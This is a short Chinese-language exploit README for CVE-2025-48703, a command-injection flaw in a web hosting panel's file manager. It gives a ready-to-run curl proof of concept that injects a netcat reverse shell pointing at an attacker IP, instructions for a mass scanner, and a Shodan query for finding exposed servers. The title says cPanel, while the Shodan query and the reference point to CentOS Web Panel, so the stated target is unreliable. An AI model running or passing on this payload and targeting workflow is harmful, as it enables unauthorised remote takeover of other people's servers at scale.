🛡️ CVE-2025-48703 - cPanel 文件管理器中的远程代码执行 (RCE)

📌 描述

CVE-2025-48703 是 web 托管控制面板（例如 cPanel）的 filemanager 模块中的一个远程代码执行 (RCE) 漏洞。该漏洞源于 acc=changePerm 函数中的未消毒输入处理，允许攻击者通过 t_total 参数注入并执行任意系统命令。

🧨 影响

该漏洞允许攻击者：

• 在目标服务器上执行任意命令。
• 建立反向 shell 以获取持久访问。
• 可能提升权限或横向移动。

⚠️ 此攻击可以在最低权限认证下执行，或在某些配置下无需认证即可访问。

🚀 概念验证 (PoC)

✅ 反向 Shell 命令

curl -kis 'https://<TARGET_IP>:2083/myuser/index.php?module=filemanager&acc=changePerm' \
  --data 'fileName=.bashrc&currentPath=/home/myuser&t_total=`nc <ATTACKER_IP> 4444 -e /bin/bash`'

扫描器使用

python3 Scanner.py  #Make sure targets.txt is in the same dir

Shodan 搜索

Server: cwpsrv

参考：https://fenrisk.com/rce-centos-webpanel